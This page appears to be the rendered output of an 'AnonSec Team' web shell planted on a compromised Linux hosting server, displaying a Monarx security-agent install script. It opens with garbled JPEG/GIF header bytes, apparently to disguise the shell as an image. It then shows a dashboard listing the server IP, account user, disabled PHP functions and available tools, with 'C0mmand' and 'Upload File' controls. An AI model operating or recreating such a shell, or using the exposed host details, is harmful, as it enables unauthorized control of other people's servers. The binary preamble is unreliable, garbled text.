����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������ Xzourt Bypazz

Upload your file


�����x������x������C�     ���C   ����<�d"�������������� �������}�!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������������� ������w�!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������ ��?��S��(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(��ÿØÿà JFIF ÿþ;GIF89;aGIF89;aGIF89;a AnonSec Team
AnonSec Team
Server IP : 103.191.208.227  /  Your IP : 18.116.47.194
Web Server : LiteSpeed
System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
User : mhmsfzcs ( 1485)
PHP Version : 8.1.31
Disable Function : show_source, system, shell_exec, passthru, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /lib64/jna/../sssd/../fipscheck/../monarx-protect/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //lib64/jna/../sssd/../fipscheck/../monarx-protect/autodetect
#!/usr/bin/env bash


mx_dir="$(dirname "$(readlink -f "$0")")"
mx_libdir="$(dirname "${mx_dir}")"

phpversions_file="${mx_dir}/phpversions.txt"


message_php_version()
{
    echo ''
    echo "Detected PHP version $1"
    echo "($2)"
}

create_symlink()
{
    if [ ! -f "$2" ]
    then
        echo "Creating symlink to extension: $2"
        ln -s ${mx_dir}/monarxprotect-php$1.so $2
    fi
}

create_extension_ini()
{
    if [ ! -f "$2" ]
    then
        echo "Creating extension ini: $2"
        echo "extension=monarxprotect-php$1.so" > $2
    fi
}

create_ini_symlink()
{
    if [ ! -f "$2" ]
    then
        echo "Creating ini symlink: $2"
        ln -sf "$1" "$2"
    fi
}

strip_trailing_slash()
{
    echo "${1%/}"
}

restart_apache()
{
    service httpd status 2>&1 | grep "No such file or directory\|could not be found" > /dev/null
    httpd_grep_rc=$?

    # grep exits with 0 if we find the string, so
    # 0 == httpd service doesn't exist
    # 1 == httpd service does exist

    if [ $httpd_grep_rc -eq 1 ]
    then
        echo "Restarting Webserver (Apache).";
        service httpd restart
    else
        service apache2 status 2>&1 | grep "No such file or directory\|could not be found" > /dev/null
        apache2_grep_rc=$?
        if [ $apache2_grep_rc -eq 1 ]
        then
            echo "Restarting Webserver (Apache).";
            service apache2 restart
        else
            echo "Unable to detect webserver.  Please restart your webserver for changes to take effect.";
        fi
    fi
}

install()
{
    echo "Adding Monarx to PHP installations"

    installed=false

    # generic installs
    if [ -d "/usr/lib64/php/modules/" ] && [ -d "/etc/php.d/" ]
    then
        php_command=$(command -v php)
        php_command_retval=$?
        if [ "$php_command_retval" -eq 0 ]
        then
            php_version=$($php_command -r 'echo PHP_MAJOR_VERSION . "." . PHP_MINOR_VERSION;' 2> /dev/null)
            php_version_retval=$?

            if [ -n "$php_version" ] && [ -f "${mx_dir}/monarxprotect-php${php_version//.}.so" ]
            then
                message_php_version "$php_version" "/usr/lib64/php/modules"
                create_symlink ${php_version//.} "/usr/lib64/php/modules/monarxprotect-php${php_version//.}.so"
                create_extension_ini ${php_version//.} /etc/php.d/monarxprotect.ini
                installed=true
            fi
        fi
    fi

    #uninstall php5
    for line in $(cat "${phpversions_file}");
    do
        IFS="|"
        read -ra ADDR <<< "$line"
        VERSION=${ADDR[0]}
        LIBDIR=${ADDR[1]}
        EXTDIR=${ADDR[2]}
        if [ -d "$LIBDIR" ] && [[ ${VERSION##*/} == 5* ]] ; then
            # message_php_version "$VERSION" "$LIBDIR"
            rm -f $LIBDIR/monarxprotect-php${VERSION//.}.so
            if [ -d "$EXTDIR" ] ; then
                rm -f $EXTDIR/monarxprotect.ini
            fi
            installed=true
        fi
    done
    IFS=$'\n'
    
    # curated install list
    for line in $(cat "${phpversions_file}");
    do
        IFS="|"
        read -ra tuple <<< "$line"
        php_version=${tuple[0]}
        php_libdir="$(strip_trailing_slash "${tuple[1]}")"
        php_extdir="$(strip_trailing_slash "${tuple[2]}")"
        php_symdir="$(strip_trailing_slash "${tuple[3]}")"
        if [ -d "$php_libdir" ] && [[ ${php_version##*/} != 5* ]]
        then
            message_php_version "$php_version" "$php_libdir"
            create_symlink "${php_version//.}" "$php_libdir/monarxprotect-php${php_version//.}.so"
            if [ -d "$php_extdir" ]
            then
                create_extension_ini "${php_version//.}" "$php_extdir/monarxprotect.ini"
                if [ -n "$php_symdir" -a -d "$php_symdir" ]
                then
                    create_ini_symlink "$php_extdir/monarxprotect.ini" "$php_symdir/20-monarxprotect.ini"
                fi
            fi
            installed=true
        fi
    done

    IFS=$'\n'

    #cloudlinux php enable
    phpversions=("7.0" "7.1" "7.2" "7.3" "7.4" "8.0" "8.1" "8.2" "8.3")
    if command -v selectorctl &> /dev/null
    then
        for phpversion in ${phpversions[@]};
        do
            echo "Enabling monarx extension in CloudLinux for PHP version $phpversion"
            selectorctl --enable-extensions=monarxprotect --version=$phpversion
            if selectorctl --enable-user-extensions=monarxprotect --version=$phpversion --for-all-users 2>/dev/null ; then
                echo "Successfully enabled extension for version $phpversion"
            else
                for directoryname in $(ls /home -1 | grep -v '^\.');
                do
                    selectorctl --enable-user-extensions=monarxprotect --version=$phpversion --user=$directoryname 2>/dev/null 
                    printf "."
                done
                printf "\nSuccessfully enabled extension for version $phpversion\n"
            fi
        done
    fi

    #restart services
    if [ "$installed" = false ]
    then
        echo 'No versions of PHP detected.'
    else
        if [ "$(pidof systemd)" ]
        then
            for i in $(systemctl list-units php*fpm* | grep active | grep -o -E php.*fpm);
            do
                echo "Restarting service $i"
                systemctl restart "$i"
            done
            for i in $(systemctl list-units ea*fpm* | grep active | grep -o -E ea.*fpm);
            do
                echo "Restarting service $i"
                systemctl restart "$i"
            done
        fi
    fi

    restart_apache
}

uninstall()
{
    echo "Removing Monarx from PHP installations"

    installed=false

    for line in $(cat "${phpversions_file}");
    do
        IFS="|"
        read -ra ADDR <<< "$line"
        VERSION=${ADDR[0]}
        LIBDIR=${ADDR[1]}
        EXTDIR=${ADDR[2]}
        if [ -d "$LIBDIR" ] ; then
            message_php_version "$VERSION" "$LIBDIR"
            rm -f $LIBDIR/monarxprotect-php${VERSION//.}.so
            if [ -d "$EXTDIR" ] ; then
                rm -f $EXTDIR/monarxprotect.ini
            fi
            installed=true
        fi
    done

    IFS=$'\n'
    if [ "$installed" = false ] ; then
        echo 'No versions of PHP detected for uninstallation.'
    else
        if [ "$(pidof systemd)" ] 
        then
            for i in $(systemctl list-units php*fpm* | grep active | grep -o -E php.*fpm);
            do
                echo "Restarting service $i."
                systemctl restart "$i"
            done
        fi

        # Restart FPM
        if [ -f /usr/local/cpanel/scripts/restartsrv_apache_php_fpm ]; then
            echo "Restarting cPanel PHP FPM.";
            /usr/local/cpanel/scripts/restartsrv_apache_php_fpm
        fi

        # Restart cPanel FPM
        if [ -f /usr/local/cpanel/scripts/restartsrv_cpanel_php_fpm ]; then
            echo "Restarting cPanel PHP FPM.";
            /usr/local/cpanel/scripts/restartsrv_cpanel_php_fpm
        fi

    fi

    restart_apache
}

if [ "$1" = "-u" ] ; then
    uninstall
else
    install
fi

AnonSec - 2021